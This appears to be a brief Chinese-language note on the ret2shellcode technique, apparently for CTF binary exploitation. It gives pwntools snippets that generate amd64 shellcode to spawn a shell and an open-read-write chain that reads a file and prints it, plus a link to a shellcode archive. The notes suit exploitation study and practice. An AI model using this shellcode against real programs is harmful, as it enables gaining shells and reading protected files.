ret2shellcode
生成 shellcode
- 设置架构
context.arch = 'amd64'
- 生成 shellcode
shellcode = asm(shellcraft.sh())
ORW
shellcode = shellcraft.amd64.linux.open('PATH')
shellcode += shellcraft.amd64.linux.read('rax', 'rsp', 0x30)
shellcode += shellcraft.amd64.linux.write(1 , 'rsp' , 0x30)
shellcode = asm(shellcode)
相关链接
- http://shell-storm.org/shellcode/